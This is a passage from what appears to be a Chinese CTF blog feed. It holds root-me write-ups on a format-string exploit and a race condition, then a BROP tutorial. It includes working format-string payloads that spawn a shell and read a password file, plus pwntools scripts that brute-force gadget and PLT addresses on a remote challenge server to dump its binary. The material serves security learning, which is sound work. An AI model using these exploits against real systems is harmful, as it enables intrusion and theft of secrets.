<span class="number">0x04030201</span>;</span><br><span class="line"> </span><br><span class="line">  <span class="type">char</span> fmt[<span class="number">128</span>];</span><br><span class="line"> </span><br><span class="line">  <span class="keyword">if</span> (argc &lt;<span class="number">2</span>)</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line"> </span><br><span class="line">  <span class="built_in">memset</span>( fmt, <span class="number">0</span>, <span class="keyword">sizeof</span>(fmt) );</span><br><span class="line"> </span><br><span class="line">  <span class="built_in">printf</span>( <span class="string">&quot;check at 0x%x\n&quot;</span>, &amp;check );</span><br><span class="line">  <span class="built_in">printf</span>( <span class="string">&quot;argv[1] = [%s]\n&quot;</span>, argv[<span class="number">1</span>] );</span><br><span class="line"> </span><br><span class="line">  <span class="built_in">snprintf</span>( fmt, <span class="keyword">sizeof</span>(fmt), argv[<span class="number">1</span>] );</span><br><span class="line"> </span><br><span class="line">  <span class="keyword">if</span> ((check != <span class="number">0x04030201</span>) &amp;&amp; (check != <span class="number">0xdeadbeef</span>)) </span><br><span class="line">    <span class="built_in">printf</span> (<span class="string">&quot;\nYou are on the right way !\n&quot;</span>);</span><br><span class="line"> </span><br><span class="line">  <span class="built_in">printf</span>( <span class="string">&quot;fmt=[%s]\n&quot;</span>, fmt );</span><br><span class="line">  <span class="built_in">printf</span>( <span class="string">&quot;check=0x%x\n&quot;</span>, check );</span><br><span class="line"> </span><br><span class="line">  <span class="keyword">if</span> (check==<span class="number">0xdeadbeef</span>)</span><br><span class="line">    &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Yeah dude ! You win !\n&quot;</span>);</span><br><span class="line">        system(<span class="string">&quot;/bin/dash&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个地方是是一个很明显的个格式化字符串漏洞，我们观察栈:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">--------------------------------------[code]------------------------------------</span><br><span class="line">=&gt; 0x8048593 &lt;main+159&gt;:        call   0x8048430 &lt;snprintf@plt&gt;</span><br><span class="line">   0x8048598 &lt;main+164&gt;:        mov    eax,DWORD PTR [esp+0x28]</span><br><span class="line"></span><br><span class="line">--------------------------------------[stack]------------------------------------</span><br><span class="line">gdb$ x /16wx 0xbffffac0</span><br><span class="line">0xbffffac0:     0xbffffaec      0x00000080      0xbffffd5a      0xb7fdcb48</span><br><span class="line">0xbffffad0:     0x00000001      0x00000000      0x00000001      0xbffffc14</span><br><span class="line">0xbffffae0:     0x00000000      0x00000000      0x04030201      0x00000000</span><br><span class="line">0xbffffaf0:     0x00000000      0x00000000      0x00000000      0x00000000</span><br></pre></td></tr></table></figure><p>其中<code>0xbffffd5a</code>就是<strong>我们输入的参数</strong>。也即是说，输入的内容为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%x</span><br></pre></td></tr></table></figure><p>输出的内容内容是<code>0xb7fdcb48</code>。则我们通过计算偏移，可以知道我们要修改的值在第8个位置上。然而这个%n是需要指定地址的，所以我们这里需要指定要写入的位置。幸好，这个题目没有开ASLR，我们此时可以计算出要写入的地址为:<br>首先可以知道argv[1]的结束地址为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0xbffffda2</span><br></pre></td></tr></table></figure><p>这个和之前的有点不太一样，argv[1]似乎是通过压栈的方式将整体栈数据下压，然后空出位置放入argv。所以这里我们最好是吧地址写在末尾处，方便调试。<br>暴力测试后发现，字符串结尾的位置在155，则我们需要写入的地址就是154和153</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0xbffffae8</span><br></pre></td></tr></table></figure><p>我们要写入的值为0xdeadbeef,这个值显然有点太大了，所以我们需要拆成几部分执行。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">+---------|--------+</span><br><span class="line">|   0xdead|beef    |</span><br><span class="line">+---------|--------+</span><br><span class="line">     ^        ^</span><br><span class="line">     |        |</span><br><span class="line">0xbffffaea  0xbffffae8</span><br></pre></td></tr></table></figure><p>拆成两个short类型的整数，则此时我们只需要写入<code>0xbeef</code>长的字符串，然后利用<code>%n</code>将其长度作为低字节写入地址， <code>0xdead - 0xbeef</code>长度的字符串作为高字节，就能一次性写入:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;%48879hx%n%8126hx%n&quot;</span><br></pre></td></tr></table></figure><p>开始的时候，我试用了argv[1]作为输入地址，但是计算了很久也不对。。最后使用爆破的方法找到了161个位置是我们传入参数的末尾，然后修改了exp做出来的。。。:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27;\xff\xbf%48877x%162$hn%8126x%161$hn\xda\xfb\xff\xbf\xd8\xfb\xff\xbf\xff&#x27; </span><br></pre></td></tr></table></figure><p>这个做法非常的糟糕。。。于是复习了一下<code>snprintf</code>函数，了解到其运行中是<strong>立刻生效</strong>，也就是说如果我们的exp中的内容为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\xda\xfb\xff\xbf%9$n</span><br></pre></td></tr></table></figure><p>那么在遇到<code>%9$n</code>的时候，栈中的情况已经变成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0xbffffac0:     0xbffffaec      0x00000080      0xbffffd5a      0xb7fdcb48</span><br><span class="line">0xbffffad0:     0x00000001      0x00000000      0x00000001      0xbffffc14</span><br><span class="line">0xbffffae0:     0x00000000      0x00000000      0x04030201      0xbffffbda</span><br><span class="line">0xbffffaf0:     0x00000000      0x00000000      0x00000000      0x00000000</span><br></pre></td></tr></table></figure><p>此时就能够直接往这个位置写入数据。。。。<br>找到的大佬的答案:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo &quot;cat .passwd&quot; | ./ch14 &quot;`printf &#x27;\x38\xfb\xff\xbf\x3a\xfb\xff\xbf%s%s&#x27; &#x27;%48871x%9$hn&#x27; &#x27;%8126x%10$hn&#x27;`&quot;</span><br></pre></td></tr></table></figure><h2 id="elf-x86-race-condition">ELF x86 - Race condition</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/ptrace.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/stat.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PASSWORD <span class="string">&quot;/challenge/app-systeme/ch12/.passwd&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> TMP_FILE <span class="string">&quot;/tmp/tmp_file.txt&quot;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> fd_tmp, fd_rd;</span><br><span class="line">  <span class="type">char</span> ch;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment">//  if ((fd_tmp = open(TMP_FILE, O_RDONLY)) != NULL )</span></span><br><span class="line"><span class="comment">//  &#123;</span></span><br><span class="line"><span class="comment">//     close(fd_tmp);</span></span><br><span class="line"><span class="comment">//     return 1;</span></span><br><span class="line"><span class="comment">//  &#125;</span></span><br><span class="line"> </span><br><span class="line">  <span class="keyword">if</span> (ptrace(PTRACE_TRACEME, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>) &lt; <span class="number">0</span>) </span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;[-] Don&#x27;t use a debugguer !\n&quot;</span>);</span><br><span class="line">      <span class="built_in">abort</span>();</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="keyword">if</span>((fd_tmp = open(TMP_FILE, O_WRONLY | O_CREAT, <span class="number">0444</span>)) == <span class="number">-1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      perror(<span class="string">&quot;[-] Can&#x27;t create tmp file &quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">  <span class="keyword">if</span>((fd_rd = open(PASSWORD, O_RDONLY)) == <span class="number">-1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      perror(<span class="string">&quot;[-] Can&#x27;t open file &quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">  <span class="keyword">while</span>(read(fd_rd, &amp;ch, <span class="number">1</span>) == <span class="number">1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      write(fd_tmp, &amp;ch, <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  close(fd_rd);</span><br><span class="line">  close(fd_tmp);</span><br><span class="line">  usleep(<span class="number">250000</span>);</span><br><span class="line">  unlink(TMP_FILE);</span><br><span class="line"> </span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个题目首先要扯到一个函数的作用:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">unlink</span><br></pre></td></tr></table></figure><p>这个函数的作用相当于将当前文件的符号去除。一个UNIX文件被去除了符号之后，unlink函数会允许这段文件所占用的空间被覆盖，就相当于是<strong>将此文件删除</strong>。然而，由于这里调用了usleep，所以我们可以在这个程序在删除这个<code>/tmp/tmp_file.txt</code>之前，抢先把文件中的数据读出来。</p><p>于是我们考虑到，我们可以尝试在运行这个程序的同时尝试读取这个<code>/tmp/tmp_file.txt</code>，完成攻击。<br>比如说:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./ch12&amp;<span class="built_in">cat</span> /tmp/tmp_file.txt</span><br></pre></td></tr></table></figure><p>这个<code>&amp;</code>的作用是，让<code>./ch12</code>能够在后台运行，这样的话就能够<strong>同时进行前面的语句和后面的语句</strong><br>反复执行上述语句的话，我们可能能在<strong>文件被删除之前将文件中的内容读取出来</strong>。多次尝试之后即可得到flag。</p><p>参考资料:<br><a href="http://blog.51cto.com/laokaddk/981868">http://blog.51cto.com/laokaddk/981868</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;新找到的刷题网站&lt;a href=&quot;https://www.root-me.org&quot;&gt;https://www.root-me.org&lt;/a&gt;，加上是Asuri战队的训练网站，决定先来试试水先~&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="root-me" scheme="https://showlinkroom.me/tags/root-me/"/>
    
  </entry>
  
  <entry>
    <title>pwn之BROP</title>
    <link href="https://showlinkroom.me/2017/11/09/pwn%E4%B9%8BBROP/"/>
    <id>https://showlinkroom.me/2017/11/09/pwn%E4%B9%8BBROP/</id>
    <published>2017-11-09T03:27:38.000Z</published>
    <updated>2020-07-16T13:31:30.405Z</updated>
    
    <content type="html"><![CDATA[<p>混入某招新赛偷偷学习了这个技术 : )，好吧其实我觉得BROP这个技术好神奇</p><span id="more"></span><h2 id="pwn学习之brop">pwn学习之BROP</h2><p>BROP这个技术简不要太强，简直就是fuzz的神器呀！</p><h2 id="使用背景">使用背景</h2><p>这个技术的产生背景通常是<strong>pwn的出题人没有把elf交出来的情况</strong>(Emmmm, 真的是忘了吗)，这种时候得不到ELF，我们就不能够分析源文件了。于是这个时候我们只能寄希望与得到某些特殊的条件来进行pwn，这就似乎所谓的<strong>盲注</strong>。盲注的题目往往其自身就带有漏洞，通常来说有两种:</p><ul><li>格式化字符串漏洞</li><li>栈溢出</li></ul><p>我们接下来就针对<strong>栈溢出</strong>进行讲解这个BROP的使用方法。这种攻击的前提就是<strong>当前程序的漏洞为栈溢出，同时我们知道如何触发这个栈溢出</strong>（当然，canary防护可以打开，但是如果打开的话，可以通过暴力猜测的方式得知当前canary)</p><h2 id="攻击流程">攻击流程</h2><p>由于我们并不知道任何内存的布局，所以首先要做的事情就是通过一些手段将内存dump到本地，这个过程有很多种办法，其中参考的办法是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">write(fd, buf, size);</span><br></pre></td></tr></table></figure><p>此时，我们如果能够将fd改成socket id，并且将buf的首地址改成代码段的话，就能够完成内存的dump。为了达成这个目的，我们就需要gadget。具体来说，就是得到下面三种gadget</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pop %rdi;ret;</span><br><span class="line">pop %rsi;ret;</span><br><span class="line">pop %rdx;ret;</span><br></pre></td></tr></table></figure><p>这三种ROP相当于是给fd，buf和size进行了赋值，这之后就能够通过调用write完成泄露。那么这阶段我们得出的主要目的就是</p><ul><li>寻找三种gadget的位置</li><li>寻找write的位置</li></ul><h3 id="stop-gadget">Stop gadget</h3><p>为了能够更好的寻找这三种gadget，我们首先要能够得到一个重要的<strong>工具gadget</strong>，这里我们把这个工具叫做<strong>stop gadget</strong>，这里的gadget可以理解成：</p><ul><li>不会让程序crash（崩溃）</li><li>并且能够给出一定的特征，比如说<strong>让程序重新运行</strong>，<strong>输出特定的内容</strong>或者<strong>陷入循环</strong>等等</li></ul><p>对于这类gadget，我们统称为<strong>stop gadget</strong>。这种题目首先要从能够知道到这类地址开始。</p><h3 id="useful-gadget">useful gadget</h3><p>找到了stop gadget，我们就能更加方便的查找其他的gadget，其中</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pop %rsi;ret;</span><br><span class="line">pop %rdi;ret;</span><br></pre></td></tr></table></figure><p>这两个其实蛮好找的。因为在每个程序中都有这一段:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">pop     rbx</span><br><span class="line">pop     rbp</span><br><span class="line">pop     r12</span><br><span class="line">pop     r13</span><br><span class="line">pop     r14</span><br><span class="line">pop     r15</span><br><span class="line">retn</span><br></pre></td></tr></table></figure><p>这个是<strong>init函数</strong>中的内容，然后上网查找资料，能够知道这里存在两个gadget:<br><img src="/2017/11/09/pwn%E4%B9%8BBROP/brop00.png" alt=""><br>也就是说，如果能够找到这个<code>pop rbx</code>的地址，我们就能够快速的找到<code>pop rsi</code>和<code>pop rdi</code>。并且这个地方十分的有特征，就是其<strong>连续出栈了6次</strong>。如果我们将我们的栈的返回值填入上述一个猜测的addr，并且连续填入六个<strong>crash addr，也就是会崩溃的地址</strong>，并且在这之后在填入一个<strong>stop gadget</strong>，我们就能够验证此时的addr是否是这个位置上了。<br><img src="/2017/11/09/pwn%E4%B9%8BBROP/brop01.png" alt=""><br>那么如果我们得到了addr1，就能够算出其他两个gadget的地址：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pop_rsi_pop_r15 = addr + 6</span><br><span class="line">pop_rdi = addr + 9</span><br></pre></td></tr></table></figure><p>但是接下来我们要找的<code>pop %rdx</code>却不是那么好找，毕竟这个gadget并不常见。于是这里参考了网上的一种操作:使用strcmp，这个函数的执行过程中，会将%rdx设置成比较函数的长度，并且类似于strcmp之类的系统函数调用的时候，一般不会导致程序崩溃，于是我们接下来的目标转换成:</p><ul><li>找到pop rdx的替代品 strcmp</li><li>找到write的地址</li></ul><h3 id="plt的查找办法">PLT的查找办法</h3><p>PLT就一个跳转表，能够让程序跳转到.so加载到进程中的程序地址的内容。并且PLT都有一个特征，我们来看一个例子:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">.plt:0000000000400DB0 ; ssize_t read(int fd, void *buf, size_t nbytes)</span><br><span class="line">.plt:0000000000400DB0 _read           proc near               ; CODE XREF: main+2EB↓p</span><br><span class="line">.plt:0000000000400DB0                 jmp     cs:off_603068</span><br><span class="line">.plt:0000000000400DB0 _read           endp</span><br><span class="line">.plt:0000000000400DB0</span><br><span class="line">.plt:0000000000400DB6                 push    0Ah</span><br><span class="line">.plt:0000000000400DBB                 jmp     sub_400D00</span><br></pre></td></tr></table></figure><p>这个是一个read函数的PLT，然后我们观察此时的程序代码，会发现一个特征:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">+--------------------+</span><br><span class="line">|     jmp to .got    | --&gt; 6 bytes</span><br><span class="line">+--------------------+</span><br><span class="line">|       push  id     | --&gt; 5 bytes</span><br><span class="line">+--------------------+</span><br><span class="line">|   jmp to dlresolve |</span><br><span class="line">+--------------------+ --&gt; 16 bytes对齐</span><br></pre></td></tr></table></figure><p>也就是说，<strong>对于利用过程中，跳转到addr和addr+6的到结果应该是一样的</strong>。如果我们在之前的检查stop gadget的过程中，发现了某个address和address+6都是stop gadget的话，那么此时就很有可能就是一个PLT。那么如何去验证呢？对于strcmp，参考的文章提出可以按照下列的方式验证:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">+----------+-------------+-------------+</span><br><span class="line">|   arg1   |     arg2    |    result   |</span><br><span class="line">+----------+-------------+-------------+</span><br><span class="line">| readable |     0x0     |    crash    |</span><br><span class="line">+----------+-------------+-------------+</span><br><span class="line">|    0x0   |   readable  |    crash    |</span><br><span class="line">+----------+-------------+-------------+</span><br><span class="line">|   0x0    |     0x0     |    crash    |</span><br><span class="line">+----------+-------------+-------------+</span><br><span class="line">| readable |   readable  |   nocrash   |</span><br><span class="line">+----------+-------------+-------------+</span><br></pre></td></tr></table></figure><p>如果能够形成上述的形式的话，那么这个函数就能够被认为是strcmp。</p><p>接下来，由于此时已经知道了三个gadget，那么此时只需要<strong>遍历PLT可能的地址</strong>，就能够拿到write。之后就是将整个程序dump下来，并且进行正常的pwn就好了。</p><h2 id="实例">实例</h2><p>这个是从大佬学校那里偷来的题目，这里记录一下做题过程（小白混入怕被拍）<br>首先发现是一个要求我们输入passwd的程序，显然我是猜不到这个passwd是啥的:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Hello my friend,I forget my passwd.could you help me?                                                                </span><br><span class="line">aaa                                                                                                                  </span><br><span class="line">wrong passwd</span><br></pre></td></tr></table></figure><p>然后能够知道，输入120个a的时候还没有崩溃，当输入121个a的时候，不再出现回显，猜测发生崩溃。于是我们利用这个特点，找到其中的stop gadget:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">padding = <span class="string">&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">find_gadget</span>(<span class="params">addr</span>):</span><br><span class="line">    fd = <span class="built_in">open</span>(<span class="string">&quot;gadget.txt&quot;</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">    fd.write(<span class="built_in">hex</span>(addr)+<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">    fd.close()</span><br><span class="line"></span><br><span class="line"><span class="comment"># this time ,we should find pop %rsi and pop %rdi</span></span><br><span class="line"><span class="keyword">for</span> addr <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x400000</span>,<span class="number">0x401AA0</span>,<span class="number">0x1</span>):</span><br><span class="line">    ph = remote(<span class="string">&quot;120.77.155.249&quot;</span>,<span class="number">10001</span>)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;me?\n&quot;</span>)</span><br><span class="line">    <span class="comment"># exp = &quot;a&quot;*i + sh</span></span><br><span class="line">    passwd = padding + p64(addr)</span><br><span class="line">    log.info(<span class="string">&quot;now addr is &quot;</span> + <span class="built_in">hex</span>(addr))</span><br><span class="line">    ph.sendline(passwd)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        msg = ph.recvrepeat(<span class="number">12</span>)</span><br><span class="line">        <span class="keyword">if</span>(msg!= <span class="string">&quot;&quot;</span>):</span><br><span class="line">            log.success(<span class="string">&quot;find addr&quot;</span> + <span class="built_in">hex</span>(addr))</span><br><span class="line">            <span class="built_in">print</span> msg</span><br><span class="line">            find_gadget(addr)</span><br><span class="line">            addrs.append(addr)</span><br><span class="line">            <span class="comment"># break</span></span><br><span class="line">        ph.close()</span><br><span class="line">    <span class="keyword">except</span> EOFError <span class="keyword">as</span> e:</span><br><span class="line">        ph.close()</span><br><span class="line">        log.info(<span class="string">&quot;connection close at &quot;</span> +<span class="built_in">hex</span>(addr))</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> addrs</span><br></pre></td></tr></table></figure><p>由于大概能够猜测到，此处的程序结构简单，并且打算以<strong>程序开头</strong>作为主要的stop gadget，于是这里以<strong>是否会第二次输出回显</strong>作为判断是否得到stop gadget的标志。通过上述方法，能够获得部分的stop gadget。</p><p>然后通过遍历的方式，能够得那6个pop的地址，为0x4007ba,并且在gadget中，我还发现了一个疑似PLT的内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0x4006fb</span><br><span class="line">0x40070a</span><br><span class="line">0x40070c</span><br></pre></td></tr></table></figure><p>这个地址连续，并且相差6字节。但是重新查找后发现，也有别的地址上也有这样的情况，于是我们从0x400000开始查找</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">get_plt_read</span>(<span class="params">addr,ph</span>):</span><br><span class="line">    exp = padding + p64(pop_rdi_ret) + p64(<span class="number">0x400000</span>) + p64(addr)</span><br><span class="line">    ph.sendline(exp)</span><br><span class="line">    msg = ph.recvrepeat(<span class="number">12</span>)</span><br><span class="line">    <span class="keyword">if</span> msg[:<span class="number">4</span>] == <span class="string">&#x27;\x7fELF&#x27;</span>:</span><br><span class="line">        log.success(<span class="string">&quot;find addr is &quot;</span> + <span class="built_in">hex</span>(addr))</span><br><span class="line">        <span class="built_in">print</span> base64.standard_b64encode(msg)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># then we find the PLT</span></span><br><span class="line"><span class="keyword">for</span> addr <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x400300</span>, <span class="number">0x400800</span>, <span class="number">1</span>):</span><br><span class="line">    ph = remote(<span class="string">&quot;120.77.155.249&quot;</span>,<span class="number">10001</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;me?\n&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> get_plt_read(addr, ph):</span><br><span class="line">        ph.close()</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    ph.close()</span><br><span class="line">    log.info(<span class="string">&quot;now is &quot;</span>+<span class="built_in">hex</span>(addr))</span><br></pre></td></tr></table></figure><p>通过遍历，找到了puts函数的起始地址为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x400560</span><br></pre></td></tr></table></figure><p>于是我们最后写一个dump程序，把整个逻辑给dump下来</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">dump_data</span>(<span class="params">addr, ph</span>):</span><br><span class="line">    exp = padding + p64(pop_rdi_ret) + p64(addr) + p64(puts_addr)</span><br><span class="line">    ph.sendline(exp)</span><br><span class="line">    msg = ph.recvall()</span><br><span class="line">    log.info(<span class="string">&quot;recv msg &quot;</span> + base64.standard_b64encode(msg))</span><br><span class="line">    msg = msg[:-<span class="number">1</span>]</span><br><span class="line">    <span class="keyword">return</span> msg, <span class="built_in">len</span>(msg)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">data = <span class="string">&#x27;&#x27;</span></span><br><span class="line">index = <span class="number">0x400231</span></span><br><span class="line"><span class="comment"># 